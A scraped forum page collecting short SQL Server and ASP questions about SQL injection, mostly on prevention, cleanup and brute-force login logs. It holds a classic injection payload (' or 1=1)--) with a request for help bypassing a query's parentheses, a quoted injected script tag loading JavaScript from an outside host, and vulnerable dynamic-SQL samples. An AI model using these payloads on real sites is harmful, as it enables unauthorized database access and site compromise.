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What Is An SQL INJECTION Attack?


Hi,

        I need to find out what sql injection attack is, what it does how it is done and how to protect form it....Any through explanation will be much appreciated.

Thanks

Kabir




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Related Forum Messages:
SQL Injection Attack
All,I am trying to test an attack against a web page. The VBScript runs 2queries against the database; the first must succeed before the secondruns. Here is the code:1st-select * from users where (userid=' + @string + ') and password=' +@pwdstring + '2nd-select * from permissions where userid=' + @string + 'When attempting the attack the problem lies in the "(" & ")"surrounding the first userid string in the 1st query. if I attempt toput a ")" in the original @string function to cancel out the first "("it then causes problems for the second string. Also, the @pwdstringgets encrypted before it is sent to the SQL Server, so attempting theattack from that field is useless.For instance:@string = ' or 1=1)--@pwdstring = blank (becomes @pwdstring = 55-12-567-3244-123 due toencryption)select * from users where (userid='' or 1=1)--') andpassword='55-12-567-3244-123' WORKS OKselect * from permissions where userid='' or 1=1)--' DOES NOT WORKIs this an instance where the original developers made a happy codingerror (I asked and preventing injection attacks wasn't intended) or isthere something I can do to circumvent this?Thanks,josh

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Sql Injection Attack
hi,
Hope everybody is fine.Well,today I want to know the smartest ways to prevent sql injection attacks.It would be really helpful if anybody gives light to it.
Thanks!!

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Injection Attack - Guru Needed.
Hello all,

I have a question on whether the following stored precedure would be open to an SQL Injection attack. Assume that a string query would be passed to the SP.

I am told that because the password parameter is only varchar(8) that it is safe.

Can someone prove this wrong?

Thanks....

I have added sample code below.

CREATE TABLE [dbo].[JB_Test](
[Name] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL CONSTRAINT [DF_JB_Test_Name] DEFAULT (''),
[Email] [varchar](100) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL CONSTRAINT [DF_JB_Test_Email] DEFAULT (''),
[Password] [varchar](8) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL CONSTRAINT [DF_JB_Test_Password] DEFAULT (''),

) ON [PRIMARY]
GO

Insert dbo.JB_Test (Name, Email, Password )
values ('John', 'asdf@asdf.com', '2345')
Insert dbo.JB_Test (Name, Email, Password )
values ('Paul', 'asdf@asdf.com', '2345')
Insert dbo.JB_Test (Name, Email, Password )
values ('Geroge', 'asdf@asdf.com', '2345')
Insert dbo.JB_Test (Name, Email, Password )
values ('Ringo', 'asdf@asdf.com', '2345')

GO

Create procedure dbo.JB_Test_Login

@Username varchar(100),
@Password varchar(8)

AS

select Name
from dbo.JB_Test
where Name = @Username
and Password = @Password
GO


--Clean Up Your Mess
--Drop procedure dbo.JB_Test_Login
--GO

--Drop Table dbo.JB_Test
--GO


JBelthoff
• Hosts Station is a Professional Asp Hosting Provider
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› As far as myself... I do this for fun!

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Hi Recently we moved our site from Access to MS SQL Server 2005 Express on a dedicated server. Guess what.... we came under some attack (may be SQL injection). Our database was manipulated and data's in some field were replaced by "<script src=http://9i5t.cn/a.js></script>" We don't know how it was done .. then i googled around to find any clue . too my surprise i found around 30,000 sites which were affected by this / have a look http://www.google.com/search?hl=en&q=%22http%3A%2F%2F9i5t.cn%2Fa.js%22&btnG=SearchAnd also an interest fact popped up also sites where in ASP But unfortunately no documentation was available for it ... So i wonder if their is any flaw in coding or database permission .. 30,000 webmaster can't go wrong. May be their is security flaw either in SQL Server 2005 or ASP .. can't say As of now i have cleared my database using find and replace function. But i know we might me soon be under attack again Please help me out find out exact reason for it .. Thanks in advanceSuraj jain 

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Hi to all,

Im looking at the sql server log, and I see a strange behavior.
Im getting at least 5 "sa" login attempts from an sepcific IP address.
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Brute Force Password Attack
In the Application event log I am seeing entries like the
following:

Login failed for user 'sa'. [CLIENT: 60.32.67.85]

Once
every second.

I am assuming this is a brute force password attack, an
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SQL SERVER 2005 Unknown Attack
Hello Every one,

 

can any one please let me know what is below mentioned errors i found on my newly installed sql server and also let me know severiarity of this and if you know the solution for this i would wel come all your suggestion.

 

12/24/2006 05:48:47,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:45,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:45,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:44,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:44,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:41,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:41,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:40,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:40,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:40,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:40,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:39,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:39,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:39,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:39,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:35,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:35,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:35,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:35,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:34,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:34,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:34,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:34,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:33,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:33,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:33,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:33,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:32,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:32,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:32,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:32,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:31,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:31,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:31,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:31,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:30,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:30,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:30,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:30,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:29,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:29,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:29,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:29,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:28,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:28,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:27,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:27,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,

since last so many days i found that these kind of errors on sql server 2005.It occurs contineously so it keeps server busy all the time.

I have attached a portion of this error log.Thanks for all your help and the time you took to look at my question.

 

Thanks,

Bharat.

 

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SQL Injection - Is This Correct
Hi, I'm building a web application in which I want to prevent SQL injection. I'm using stored procedures, and using queries on my app like this:in my database...create proc createStudy@title varchar(200),@text textasinsert into studies values(@title,@text)goand in my web app...query="createStudy '"+titleBox.Text+"','"+textBox.Text+"'";   //title and text boxes are textboxes, createStudy is a stored procedure in my databaseodmccommand cmd = new odbccommand(query,con);con.Open();cmd.ExecuteNonQuery();But before this I do this code:if (titleBox.Text.Contains("Drop") || titleBox.Text.Contains("Delete"))    messageLabel.Text="No permissions to do that";else(...my code)Is this ok to prevent SQL injection?!?

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SQL Injection Techniques
Hello,
I apologize if this isn't the most appropriate place to ask but we have a SQL 2k server behind our website and we recently added a product review portion to our product pages. In the comments field in our db we are getting entries like:

1. Online Pharmacy, [url=http://w
2. iPb95U <a href="http://kmajvv (html tags are replaced in actual db)

My question is why the cut off? I just converted the code from escaped quotes and string concat to a stored proc using ADO params. The first entry was submitted with the sproc and the second while the string concat was still being used. So the visitor must be purposely truncating the entry, but I'm curious as to why. Is it just to try and break the code?

If anyone knows of better place to post questions like these, maybe a security forum, please let me know.

Thanks

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Sql Injection Problem..
 

Hi Friends, we have a website  http://www.barneguiden.dk we have  constanly been attacked by virus. A malicious script enters into  sql server database and stops the site.
can any one please suggest us how we can prevent it. I  changed some script but that did not help too.  I think it is going from our search field. <script>......</script>   and inside website name enters into every fields of sql .Please help!
 
Thanks,
Umar Rahman 

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Protect From SQL Injection?
Hi,

 

Just read about SQL injection, and tested it out with sample database, and it does hack my database, the article show to prevent SQL injection by using application code to remove those keywords and change single quote to double quote, is there any method to prevent SQL injection directly using the database system itself, maybe stored procedure or anything?

 

Thanks.

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SQL Injection Attacks
I am taking a class where the professor really dislikes using parameterized queries because he considers them to be pointless.  Despite the many points that I and a classmate bring up, the only thing he considers valid is using them to prevent SQL injection attacks. To prevent this, he replaces all single quotes with a pair of single quotes.  I know this works for SQL server, but will fail in some others (for instance MySQL also allows ').  Is there other possibilies such as the ' that need to be protected against?

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Threat Due To SQL Injection
I have gone through a terrible situation a week ago. One website was working fine since couple of years and suddenly it was hacked. I checked the entire code in all the pages and it was not at all modified.

When I checked the database, I found that javascript was inserted in it. As soon as a recordset was displaying it, javascript redirected that page to the hacker's site.. This was the mechanism was used by hacker.

Which database can be more secure in such situations?

Nishith Shah

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Preventing SQL Injection
I am building my first ASP.Net app from scratch and while working on the DAL I came across the problem of SQL Injection. I searched on the web and read different articles but I am still unsure about the answer. My question is should I add

db.AddInParameter(dbCommand, "AvatarImageID", DbType.Int32, avatarImageID);

Add in Parameters to my C# code to avoid SQL Injection. What is the best practice. I am unclear if the stored procedure already helps me avoid SQl Injection or if I need the add in parameters in the C# methods to make it work. I need some help. Thanks, Newbie

My C# update method in the DAL (still working on the code)

private static bool Update(AvatarImageInfo avatarImage)
{
//Invoke a SQL command and return true if the update was successful.
db.ExecuteNonQuery("syl_AvatarImageUpdate",
avatarImage.AvatarImageID,
avatarImage.DateAdded,
avatarImage.ImageName,
avatarImage.ImagePath,
avatarImage.IsApproved);

return true;
}


I am using stored procedures to access the data in the database.

My update stored proc

set ANSI_NULLS ON
set QUOTED_IDENTIFIER ON
GO

ALTER PROCEDURE [dbo].[syl_AvatarImageUpdate]
@AvatarImageIDint,
@DateAddeddatetime,
@ImageNamenvarchar(64),
@ImagePathnvarchar(64),
@IsApprovedbit
AS
BEGIN
-- SET NOCOUNT ON added to prevent extra result sets from
-- interfering with SELECT statements.
SET NOCOUNT ON;
BEGIN TRY
UPDATE[syl_AvatarImages]
SET
[DateAdded]= @DateAdded,
[ImageName]= @ImageName,
[ImagePath]= @ImagePath,
[IsApproved]= @IsApproved
WHERE[AvatarImageID] = @AvatarImageID
RETURN
END TRY
BEGIN CATCH
--Execute LogError SP
EXECUTE [dbo].[syl_LogError];
--Being in a Catch Block indicates failure.
--Force RETURN to -1 for consistency (other return values are generated, such as -6).
RETURN -1
END CATCH
END

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Sql Injection Forensics
Hi all, long time lurker, first time poster.

One of those fantastic mornings, an hour late, no coffee, walk through the door and the first words I hear are "we've been hacked!"

Ugh.

Turns out there is one and only one place on the website that isn't properly protected against sql injection attacks and somebody found it (now fixed). It doesn't look bad - a new table has been added, dbo.a_LyHungTraVinh_a with two empty columns [LyHungTraVinh VNC Hacked] and [Good Bye My Love]. I was somehow hoping my first hack would be more clever, so I'm also having to cope with mild disillusionment.

But I think I can get over that, what I'm really hoping for your help with is how to proceed with the forensics and clean-up. See, our DBA resigned a couple weeks ago and we're in the cute situation of not having one at this moment - I'm certainly not one. It looks like this is just a random act of harmless vandalism but I'd feel better if we did our full due diligence. Here's what we've done so far, any additional advice or links to resources would be greatly appreciated.

1. Identified and closed the vulnerability
2. Ran AdeptSQL_Diff and compared the production db with an archived version - other than the aforementioned new table, the schema and data is unchanged
3. ... that's it.

I suspect using DBCC LOG and/or fn_dblog would be helpful to review the attacker's transactions, but I'm having a devil of a time finding information on how to use those, particularly about what permissions I need to use them.

thanks!

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Sql Injection Problem.
Hi friends, we have a website http://www.barneguiden.dk we have been constanly been attacked by virus. A malicious script enters into sql server database and stops the site.
can any one please suggest us how we can prevent it. I think it is going from our search field.Any help will be appriciated.

Thanks,
Umar Rahman

Suhanasoft

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Interesting SQL Injection Reported
All of you just read this article
http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx

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Sql Injection - Are Parameters Enough To Protect You.
 Hi all,I have been learning .net and creating a public facing site. I am therefore worried about SQL injection.My question is...Is enclosing customer input inside .net SQLParameters enough to protect you from SQL injection?If not why not?I have seen people saying that SQLParameters alone is not enough but not an explanation why?Can anyone help?If I use code to remove words like drop or characters like '%' I'm limiting what my users can enter, but if I have to I will. taC 

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What's The Best Method To Stop SQL Injection?
Does UrlEncode have any impact on SQL injection?  How would I go about protecting my site?

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Avoiding SQL Injection With Dynamic SQL
I am exclusively using Stored Procedures to access the database, i.e. there are no Ad-Hoc SQL statements anywhere in the C# code. However, one thing I need to be able to do is to allow filtering for data grids on my ASP.NET page. I want to do the filtering in the Stored Procedure using Dynamic SQL to set the WHERE clause. However, one fear of mine is SQL injection from the client. How can I avoid arbitrary SQL injection, yet still allow for a dynamic WHERE clause to be passed into the stored procedure?

Jason Pacheco

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How To Prevent SQL Injection Attacks
Hi,

On my site I have a simple textbox which is a keyword search, people type a keyword and then that looks in 3 colums of an SQL database and returns any matches

The code is basic i.e. SELECT * FROM Table WHERE Column1 LIKE %searcg%

There is no validation of what goes into the text box and I am worried about SQL injection, what can I do to minimize the risk

I have just tried the site and put in two single quotes as the search term, this crashed the script so I know I am vunerable.

Can anyone help, perhaps point me in the direction of furthur resources on the subject?

Thanks

Ben

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What Are Sql Injection Attacks And How To Prevent?
this is a question I put in the sql community in microsoft, but havent be answered in full

------------

I am using dynamic sql to do a query with differents 'order' sentences and/or 'where' sentences depending on a variable I pass to the sp

ex:

create proc ex
@orden varchar(100)
@criterio varchar(100)

as
declare consulta varchar(4000)

set consulta=N'select pais from paises where '+@criterio' order by '+@orden

------------

I'd like to know it it uses 2 sp in the cache, as I read, the main sp and the query inside the variable of the dynamic sql. if so, as I imagine, then I suppose I have to do the main sp without any 'if' sentence to be the same sp, and so taking it from the cache and not recompile the sp

now, I have various 'if' sentences in the main sp (the caller of the dynamic sql) but I plan to remove them and do the 'if' by program -it is in asp.net-, so I suppose it is better because in this way the main sp is took from the cache, supposing this uses the cache different that the dynamic sql in the variable

what do u think? does the dynamic sql use 2 caches? if so, u think it is better to try to do the main sp same in all uses (no 'if' statements)?


-----

They told me this coding is not good (dynamic sql) because it can give control to the user?

I ask, how does it give control to use? what ar sql injection attack and how to prevent them?

I use dynamis sql because I have 150 queries to do, and thought dynamic sql is good

is it true that dynamic sql have to be recompiled in each execution? I suppose so only if the sql variable is different, right?

can u help me?

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